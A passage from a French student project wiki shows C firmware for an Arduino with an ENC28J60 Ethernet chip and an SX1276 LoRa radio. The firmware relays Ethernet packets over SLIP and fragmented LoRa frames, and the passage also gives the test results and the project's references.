Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet+LoRa  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
Pour cette partie, nous essayons de mettre toutes les cartes ensemble: enc28j60+arduino+LoRa afin de réaliser la réussite de la transmission et la réception des paquets Ethernet. Cependant, nous avons rencontré deux problèmes principaux&lt;br /&gt;
* Le choix de CS d'Arduino&lt;br /&gt;
* La correspondance de la taille du paquet&lt;br /&gt;
1). Pour le premier problème, des fonctions de SPI sont déjà définies par les fonctions dans la librairie de l'enc28j60, au lieu d'utiliser des fonctions définies nous avons appelé directement la fonction '''spi_init()''' dans le répertoire SPI du LoRa. Ensuite nous avons changé le pin de CS de l'enc28j60 pour que les deux cartes puissent travailler une après l'autre.  &lt;br /&gt;
&lt;br /&gt;
2). Lorsque la longueur d'un paquet Ethernet peut atteindre 1500 octets mais la longueur maximal d'un paquet d'être enregistré dans le buffer du LoRa ne fait que 255 octets, donc nous avions le problème de correspondance de la taille du paquet. Pour résoudre ce problème nous avons fait la fragmentation. Nous avons créé un tableau de 64 octets, ensuite nous avons remplit ce tableau octet par octet. Le dernier octet est réservé pour dire le numéro du fragment et vérifier si c'est la fin du paquet.Quant à la réception, le récepteur doit recevoir des fragments en ordre. Une fois qu'il loupe un fragment, le récepteur va s'arrêter de capter des paquets et attend l'arrivée de nouveau paquet .&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:fragment.jpg|thumb|upright=2|Fragments du paquet]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Après bien avoir étudié des caratères de module LoRa SX1276 et la carte Ethernet réseau ENC28J60, pour leur faire communiquer nous avons écrit un algorithme &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Boucle&lt;br /&gt;
    Si pas de paquet Ethernet en stock Alors&lt;br /&gt;
      tenter de lire un paquet Ethernet pour le mettre en stock&lt;br /&gt;
    FSi&lt;br /&gt;
    Si pas de réception en cours Alors&lt;br /&gt;
      Si paquet Ethernet en stock Alors&lt;br /&gt;
        envoyer un fragment LoRA&lt;br /&gt;
        Si dernier fragment Alors&lt;br /&gt;
          libérer la mémoire du paquet Ethernet&lt;br /&gt;
          attendre un paquet LoRa un temps raisonnable&lt;br /&gt;
        Fsi&lt;br /&gt;
      Sinon&lt;br /&gt;
        Si un paquet Ethernet vient d'être reçu par LoRa Alors&lt;br /&gt;
          envoyer un paquet LoRa de taille 1&lt;br /&gt;
      FSi&lt;br /&gt;
    Fsi&lt;br /&gt;
    Si pas d'envoi en cours et paquet LoRa reçu Alors&lt;br /&gt;
      Si paquet est un fragment (taille &amp;gt; 1) Alors&lt;br /&gt;
        stocker le fragment dans le tampon d'envoi Ethernet&lt;br /&gt;
        Si dernier fragment Alors&lt;br /&gt;
          envoyer le paquet sur Ethernet&lt;br /&gt;
        FSi&lt;br /&gt;
      FSi&lt;br /&gt;
    FSi&lt;br /&gt;
  FinBoucle&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
En suite nous avons interprété cet algorithme en langage C&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
while(1)&lt;br /&gt;
        {&lt;br /&gt;
                if(nb_ethernet==0)&lt;br /&gt;
                {&lt;br /&gt;
                        nb_ethernet = enc28j60PacketReceive();&lt;br /&gt;
                        if(nb_ethernet&amp;gt;0 &amp;amp;&amp;amp; nb_ethernet&amp;lt;=MAX_ETHERNET)&lt;br /&gt;
                        {&lt;br /&gt;
                                index_ethernet = 0;&lt;br /&gt;
                                num_frag = 0;&lt;br /&gt;
                                output_set(5,1);&lt;br /&gt;
                        }&lt;br /&gt;
                        else nb_ethernet=0;&lt;br /&gt;
                }&lt;br /&gt;
#ifdef VERBOSE&lt;br /&gt;
                printf(&amp;quot;num=%d nb_ethernet=%d\n&amp;quot;,num,nb_ethernet);&lt;br /&gt;
                _delay_ms(100);&lt;br /&gt;
#endif&lt;br /&gt;
                if(num&amp;lt;0)&lt;br /&gt;
                {&lt;br /&gt;
                        if(nb_ethernet&amp;gt;0)&lt;br /&gt;
                        {&lt;br /&gt;
                                int i;&lt;br /&gt;
                                num=-1; rxmode=0;&lt;br /&gt;
                                if(index_ethernet &amp;lt; nb_ethernet)&lt;br /&gt;
                                {&lt;br /&gt;
                                        for(i=0;(i&amp;lt;MAX_FRAGMENT) &amp;amp;&amp;amp; (index_ethernet&amp;lt;nb_ethernet);i++)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                unsigned char c = enc28j60ByteRead();&lt;br /&gt;
                                                index_ethernet++;&lt;br /&gt;
                                                packet_lora[i]=c;&lt;br /&gt;
                                        }&lt;br /&gt;
                                        if(index_ethernet &amp;lt; nb_ethernet) packet_lora[i]=0x00;&lt;br /&gt;
                                        else packet_lora[i]=0x80;&lt;br /&gt;
                                        packet_lora[i] |= num_frag++;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                        printf(&amp;quot;ether=%d/%d num_frag=%02x taille=%d\n&amp;quot;,index_ethernet,nb_ethernet,packet_lora[i],i+1);&lt;br /&gt;
#endif&lt;br /&gt;
                                        sx1276_LoRaEntryTx();&lt;br /&gt;
                                        output_set(4,1);&lt;br /&gt;
                                        sx1276_LoRaTxPacket(packet_lora,i+1);           //transmission from LoraServer&lt;br /&gt;
                                        sx1276_LoRaTxReady();&lt;br /&gt;
                                        output_set(4,0);&lt;br /&gt;
                                        if(index_ethernet &amp;gt;= nb_ethernet)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                nb_ethernet = 0;&lt;br /&gt;
                                                enc28j60FreeMemory();&lt;br /&gt;
                                                output_set(5,0);&lt;br /&gt;
                                                /* Attendre un paquet LoRa un temps raisonnable */&lt;br /&gt;
                                                unsigned char test=0;&lt;br /&gt;
                                                sx1276_LoRaEntryRx();&lt;br /&gt;
                                                rxmode=1;&lt;br /&gt;
                                                for(i=0;i&amp;lt;MAX_WAIT/GRAIN_WAIT;i++){&lt;br /&gt;
                                                        test=sx1276_LoRaRxTest();&lt;br /&gt;
                                                        if(test) break;&lt;br /&gt;
                                                        _delay_ms(GRAIN_WAIT);&lt;br /&gt;
                                                        }&lt;br /&gt;
                                                if(test){&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                                        printf(&amp;quot;Got answer!\n&amp;quot;);&lt;br /&gt;
#endif&lt;br /&gt;
                                                        }&lt;br /&gt;
                                        }&lt;br /&gt;
                                        else _delay_ms(10);&lt;br /&gt;
                                }&lt;br /&gt;
                        }&lt;br /&gt;
                        else{&lt;br /&gt;
                                if(num==-2){&lt;br /&gt;
                                        unsigned char c=0;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                        printf(&amp;quot;Send void packet\n&amp;quot;);&lt;br /&gt;
#endif&lt;br /&gt;
                                        sx1276_LoRaEntryTx();&lt;br /&gt;
                                        sx1276_LoRaTxPacket(&amp;amp;c,1);&lt;br /&gt;
                                        sx1276_LoRaTxReady();&lt;br /&gt;
                                        num=-1;&lt;br /&gt;
                                }&lt;br /&gt;
                        }&lt;br /&gt;
                }&lt;br /&gt;
                if(index_ethernet&amp;lt;=0 || nb_ethernet==0){&lt;br /&gt;
                        if(!rxmode) sx1276_LoRaEntryRx();&lt;br /&gt;
                        rxmode=1;&lt;br /&gt;
                        }&lt;br /&gt;
                if(rxmode &amp;amp;&amp;amp; (nb_received=sx1276_LoRaRxPacket(packet_received,MAX_FRAGMENT+1))&amp;gt;0)       //receptionfrom LoraClient&lt;br /&gt;
                {&lt;br /&gt;
                        unsigned char header=packet_received[nb_received-1];&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                        printf(&amp;quot;rec=%d h=%02x\n&amp;quot;,nb_received,header);&lt;br /&gt;
#endif&lt;br /&gt;
                        if (nb_received&amp;gt;1)&lt;br /&gt;
                        {&lt;br /&gt;
                                int j;&lt;br /&gt;
                                if(num&amp;gt;=0 &amp;amp;&amp;amp; (header&amp;amp;0x7f)!=num+1) num=-1;&lt;br /&gt;
                                else{&lt;br /&gt;
                                        if(num&amp;lt;0) num=-1;&lt;br /&gt;
                                        if((header&amp;amp;0x7f)==0x00)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                enc28j60InitializeSend();&lt;br /&gt;
                                                output_set(6,1);&lt;br /&gt;
                                        }&lt;br /&gt;
                                        for(j=0;j&amp;lt;nb_received-1;j++) enc28j60WriteByteSend(packet_received[j]);&lt;br /&gt;
                                        if((header&amp;amp;0x80)==0x00) num++;&lt;br /&gt;
                                        else {&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                                printf(&amp;quot;Ether sending num=%d\n&amp;quot;,num);&lt;br /&gt;
#endif&lt;br /&gt;
                                                num=-2;&lt;br /&gt;
                                                enc28j60FinalizeSend();&lt;br /&gt;
                                                output_set(6,0);&lt;br /&gt;
                                                }&lt;br /&gt;
                                        }&lt;br /&gt;
                        }&lt;br /&gt;
                        rxmode=0;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                        printf(&amp;quot;num=%d\n&amp;quot;,num);&lt;br /&gt;
#endif&lt;br /&gt;
                }&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons effectué des tests avec un module LoRa et une carte réseau chaque coté, nous avons réussit à envoyer des paquets icmp et des paquets arp.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:0001.jpg|thumb|upright=0.75|manipulation]]&lt;br /&gt;
|[[Fichier:0002.jpg|thumb|upright=0.75|tcpdump+ping]]&lt;br /&gt;
|[[Fichier:0003.jpg|thumb|upright=0.75|tcpdump]]&lt;br /&gt;
|[[Fichier:0004.jpg|thumb|upright=0.75|minicom]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
Rapport intermédiaire&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;br /&gt;
&lt;br /&gt;
Rapport final&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_PFE19_CHEN_NDUWAYO.pdf]]&lt;br /&gt;
&lt;br /&gt;
=Programme du projet=&lt;br /&gt;
[[Fichier:Bridge.zip]]&lt;br /&gt;
&lt;br /&gt;
=Vidéo demonstration du projet=&lt;br /&gt;
[[Media:VideoDemoPFE19.mp4]]&lt;br /&gt;
[[Media:test.mp4]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39553</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39553"/>
				<updated>2017-02-25T15:26:39Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* Programme du projet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
